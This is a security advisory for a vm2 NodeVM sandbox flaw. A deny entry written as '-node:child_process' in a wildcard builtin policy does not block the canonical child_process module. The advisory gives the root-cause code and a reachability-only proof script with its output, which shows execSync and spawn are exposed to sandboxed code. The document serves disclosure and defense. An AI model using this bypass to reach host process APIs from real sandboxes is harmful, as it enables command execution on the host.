CVE-2026-92957

NodeVM normalizes node:-prefixed builtin specifiers during require() resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.

As a result, this configuration:

new NodeVM({
  require: {
    builtin: ['*', '-node:child_process']
  }
});

does not deny the canonical child_process builtin. Sandboxed code can require both child_process and node:child_process, and receives the host module with process-spawning APIs such as execSync and spawn.

The safe proof below only checks module and function reachability. It does not execute any OS command.

Affected Mode

NodeVM.

Affected Configuration

new NodeVM({
  require: {
    builtin: ['*', '-node:child_process']
  }
});

This affects users who deny builtins using their node:-prefixed spelling, expecting -node:child_process to deny require('node:child_process') and require('child_process').

Affected Files / Functions

• lib/builtin.js
  • makeBuiltinsFromLegacyOptions
  • wildcard builtin expansion
  • exact negative entry check: builtins.indexOf(\-${name}`)`
  • addDefaultBuiltin
• lib/resolver.js
  • Resolver.resolve
• lib/setup-node-sandbox.js
  • requireImpl
  • node: prefix stripping before builtin load

Root Cause

lib/setup-node-sandbox.js strips the node: prefix from resolved builtin filenames before loading the builtin:

if (localStringPrototypeStartsWith(filename, 'node:')) {
  id = localStringPrototypeSlice(filename, 5);
  let nmod = cacheBuiltins[id];
  if (!nmod) {
    nmod = loadBuiltinModule(id);
    if (!nmod) throw new VMError(`Cannot find module '${filename}'`, 'ENOTFOUND');
    cacheBuiltins[id] = nmod;
  }
  return nmod;
}

But lib/builtin.js checks wildcard negative entries by exact string match against the names in BUILTIN_MODULES:

if (builtins.indexOf(`-${name}`) === -1) {
  addDefaultBuiltin(res, name, hostRequire);
}

BUILTIN_MODULES contains the canonical name child_process, not node:child_process. Therefore -node:child_process does not exclude child_process, and addDefaultBuiltin() registers the host builtin.

Security Boundary Crossed

Sandboxed code reaches a host builtin that the embedder attempted to deny.

Boundary crossed:

• sandbox -> host child_process builtin
• sandbox -> host process-spawning function references

Safe Local Reproduction

Tested on Node.js v24.14.0.

This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.

'use strict';

const { NodeVM } = require('./');

function probe(builtin) {
  const vm = new NodeVM({
    require: {
      builtin
    }
  });

  return vm.run(`
    const out = {};

    for (const spec of ['child_process', 'node:child_process']) {
      try {
        const cp = require(spec);
        out[spec] = {
          loaded: true,
          execSyncType: typeof cp.execSync,
          spawnType: typeof cp.spawn,
          moduleToStringTag: Object.prototype.toString.call(cp)
        };
      } catch (e) {
        out[spec] = {
          loaded: false,
          name: e && e.name,
          code: e && e.code,
          message: e && e.message
        };
      }
    }

    module.exports = out;
  `);
}

console.log(JSON.stringify({
  nodeVersion: process.version,
  denyNodePrefixed: probe(['*', '-node:child_process']),
  denyCanonical: probe(['*', '-child_process'])
}, null, 2));

Observed result:

{
  "nodeVersion": "v24.14.0",
  "denyNodePrefixed": {
    "child_process": {
      "loaded": true,
      "execSyncType": "function",
      "spawnType": "function",
      "moduleToStringTag": "[object Object]"
    },
    "node:child_process": {
      "loaded": true,
      "execSyncType": "function",
      "spawnType": "function",
      "moduleToStringTag": "[object Object]"
    }
  },
  "denyCanonical": {
    "child_process": {
      "loaded": false,
      "name": "VMError",
      "code": "ENOTFOUND",
      "message": "Cannot find module 'child_process'"
    },
    "node:child_process": {
      "loaded": false,
      "name": "VMError",
      "code": "ENOTFOUND",
      "message": "Cannot find module 'node:child_process'"
    }
  }
}

Expected Secure Behavior

-node:child_process and -child_process should be equivalent.

If either spelling is denied, both of these should fail:

require('child_process')
require('node:child_process')